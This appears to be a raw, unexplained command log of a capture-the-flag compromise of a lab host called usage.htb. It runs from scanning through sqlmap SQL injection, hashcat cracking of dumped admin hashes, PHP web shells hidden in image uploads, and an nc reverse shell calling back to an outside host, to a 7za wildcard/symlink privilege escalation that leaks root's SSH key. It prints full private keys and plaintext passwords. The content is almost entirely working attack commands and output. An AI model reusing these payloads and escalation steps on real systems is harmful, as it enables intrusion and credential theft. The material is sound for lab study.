nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 17:21 EST
Nmap scan report for 10.10.11.18
Host is up (0.023s latency).
Not shown: 64589 closed tcp ports (reset), 944 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/15%OT=22%CT=1%CU=44552%PV=Y%DS=2%DC=T%G=Y%TM=6788
OS:3519%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   23.68 ms 10.10.14.1
2   23.75 ms 10.10.11.18
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.31 seconds
 

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 --dbs
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 -D usage_blog --tables
15
[17:59:52] [INFO] retrieved: admin_menu
[18:00:01] [INFO] retrieved: admin_operation_log
[18:00:15] [INFO] retrieved: admin_permissions
[18:00:26] [INFO] retrieved: admin_role_menu
[18:00:36] [INFO] retrieved: admin_role_permissions
[18:00:48] [INFO] retrieved: admin_role_users
[18:00:55] [INFO] retrieved: admin_roles
[18:00:58] [INFO] retrieved: admin_user_permissions
[18:01:14] [INFO] retrieved: admin_users
[18:01:17] [INFO] retrieved: blog
[18:01:21] [INFO] retrieved: failed_jobs
[18:01:30] [INFO] retrieved: migrations
[18:01:38] [INFO] retrieved: password_reset_tokens
[18:01:57] [INFO] retrieved: personal_access_tokens
[18:02:17] [INFO] retrieved: users
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 -D usage_blog -T admin_users --dump
 
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

hashcat -m 3200 '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' /usr/share/wordlists/rockyou.txt
 
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

hashcat -m 3200 '$2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa' /usr/share/wordlists/rockyou.txt
 
 
$2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa:xander

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif	

<?php passthru('nc 10.10.14.6 1234 -e /bin/bash'); ?>

mv shell.gif shell.png

<?php system($_GET[0]); ?>

nc -lvnp 1234 
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.18] 44250
whoami
dash

python3 -c 'import pty; pty.spawn("/bin/bash")'

dash@usage:~$ cat user.txt
cat user.txt
8436d4a9...

dash@usage:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----

chmod 600 dash_id_rsa

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:2812          0.0.0.0:*               LISTEN      5911/monit          
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1300/nginx: worker  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
 
╔══════════╣ Installed Compilers
ii  g++                                    4:11.2.0-1ubuntu1                            amd64        GNU C++ compiler
ii  g++-11                                 11.4.0-1ubuntu1~22.04                        amd64        GNU C++ compiler
ii  gcc                                    4:11.2.0-1ubuntu1                            amd64        GNU C compiler
ii  gcc-11                                 11.4.0-1ubuntu1~22.04                        amd64        GNU C compiler
ii  rpcsvc-proto                           1.4.2-0ubuntu6                               amd64        RPC protocol compiler and definitions
/usr/bin/gcc

dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60
 
#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd
 
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert
 
 
#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert
 
check filesystem rootfs with path /
       if space usage > 80% then alert

dash@usage:~$ su xander
Password: 3nc0d3d_pa$$w0rd
xander@usage:/home/dash$ whoami
xander

xander@usage:~/.config$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 
Invalid choice.

cd /var/www/html
touch @root.txt
ln -s /root/.ssh/id_rsa root.txt

xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
 
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)
 
Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54837203
 
Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
 
 
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
 
 
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
 
 
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
 
 
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
 
 
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
 
 
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
 
2984 folders, 17964 files, 113882165 bytes (109 MiB)                     
 
Updating archive: /var/backups/project.zip
 
Items to compress: 20948
 
                                                                               
Files read from disk: 17964
Archive size: 54837203 bytes (53 MiB)
 
Scan WARNINGS for files and folders:
 
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----

ssh -i root_id_rsa root@10.10.11.18

root@usage:~# whoami
root

root@usage:~# cat root.txt
983176f6...